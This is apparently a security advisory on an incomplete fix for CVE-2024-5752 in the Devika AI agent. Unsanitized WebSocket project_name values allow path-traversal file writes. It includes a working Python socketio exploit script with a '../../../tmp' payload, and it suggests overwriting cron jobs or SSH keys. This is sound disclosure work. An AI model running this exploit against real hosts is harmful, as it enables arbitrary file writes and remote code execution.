#712·devika

[Security] Incomplete Fix for CVE-2024-5752: Arbitrary File Write via Unsanitized `project_name` in WebSocket API

Author: YLChen-007Created May 12, 2026Updated May 12, 2026

Advisory Details

Title: Incomplete Fix for CVE-2024-5752: Arbitrary File Write via Unsanitized project_name in WebSocket API

Description:

Summary

Devika suffers from a critical path traversal vulnerability in its WebSocket API. An incomplete fix for CVE-2024-5752 correctly sanitized the project_name parameter on HTTP REST API endpoints but failed to apply the same secure_filename() sanitization to the user-message WebSocket event handler. This allows an unauthenticated attacker to inject ../ sequences into the project name, deceiving the AI agent's file-saving logic into writing arbitrary files (including executable code or configurations) outside the intended data/projects/ directory, resulting in Remote Code Execution (RCE).

Details

Devika's architecture relies heavily on WebSocket connections for real-time interaction with its underlying AI agents. When a client sends a message to the agent, the payload is handled by the user-message event listener in devika.py.

In devika.py lines 82-90, the project_name is extracted directly from the incoming SocketIO data dictionary and passed directly to the Agent.execute() thread without any sanitization:

python
@socketio.on('user-message')
def handle_message(data):
    # ...
    project_name = data.get('project_name')  # MISSING: secure_filename()
    # ...
    agent = Agent(base_model=base_model, search_engine=search_engine)
    # ...
    thread = Thread(target=lambda: agent.execute(message, project_name))

This unsanitized string flows directly into src/agents/coder/coder.py, where the AI agent attempts to save its generated source code:

python
def save_code_to_project(self, response: List[Dict[str, str]], project_name: str):
    file_path_dir = None
    project_name = project_name.lower().replace(" ", "-") # Insufficient sanitization

    for file in response:
        file_path = os.path.join(self.project_dir, project_name, file['file'])
        # ...
        with open(file_path, "w", encoding="utf-8") as f:
            f.write(file["code"])

Because os.path.join natively resolves relative traversal strings, providing a project_name like ../../../tmp/pwned will escape self.project_dir (which defaults to data/projects), resulting in arbitrary file writes on the host system.

PoC

  1. Start the Devika backend (python3 devika.py). It binds to port 1337 by default.
  2. Ensure you have the python-socketio package installed (pip install "python-socketio[client]").
  3. Create the following exploit script exploit.py:
python
import socketio
import time

sio = socketio.Client()

@sio.event
def connect():
    print("[+] Connected to Devika WebSocket API")
    # Emit malicious payload breaking out of data/projects/
    sio.emit('user-message', {
        'message': "Create a hello world python script",
        'base_model': 'GPT-4o',
        'project_name': '../../../tmp/pwned_project_name_test',
        'search_engine': 'duckduckgo'
    })
    time.sleep(10)
    sio.disconnect()

sio.connect('http://127.0.0.1:1337')
sio.wait()
  1. Run the exploit using python3 exploit.py.
  2. Check your /tmp/ directory (or equivalent relative path outside Devika). The agent will have generated the code and dropped the python script into the arbitrary location: ls -la /tmp/pwned_project_name_test.

Log of Evidence

$ python3 exploit.py
[+] Connected to Devika WebSocket API

# Backend Log Execution:
26.03.06 12:03:33: root: INFO   : User message: {'message': 'Create a hello world app', 'base_model': 'GPT-4o', 'project_name': '../../../tmp/pwned_project_name_test'}
[*] Agent thread started for project: ../../../tmp/pwned_project_name_test
...
[Agent logic evaluates and writes file...]

# Victim Host File System:
$ ls -la /root/llm-project/tmp/pwned_project_name_test/pwned.txt
-rw-r--r-- 1 root root 31 Mar  6 12:03 pwned.txt

Impact

Arbitrary File Write leading to Remote Code Execution (RCE). An attacker can supply a malicious project_name to overwrite cron jobs (/etc/cron.d/), overwrite SSH keys (~/.ssh/authorized_keys), or plant malicious startup scripts. Since the WebSocket server completely lacks origin protection (cors_allowed_origins="*"), this can even be executed by a malicious website visited by a developer running Devika locally.

Affected products

  • Ecosystem: python
  • Package name: stitionai/devika
  • Affected versions: All versions (e.g., latest d6a096c)
  • Patched versions:

Severity

  • Severity: High
  • Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Weaknesses

  • CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Occurrences

Permalink Description
https://github.com/stitionai/devika/blob/main/devika.py#L82 The user-message WebSocket handler extracting the unsanitized project_name.
https://github.com/stitionai/devika/blob/main/src/agents/coder/coder.py#L68-L73 The Coder sink performing the unsafe file path concatenation using os.path.join().
https://github.com/stitionai/devika/blob/main/src/documenter/pdf.py#L13-L16 The PDF sink performing unsafe PDF file path concatenation based on the same parameter.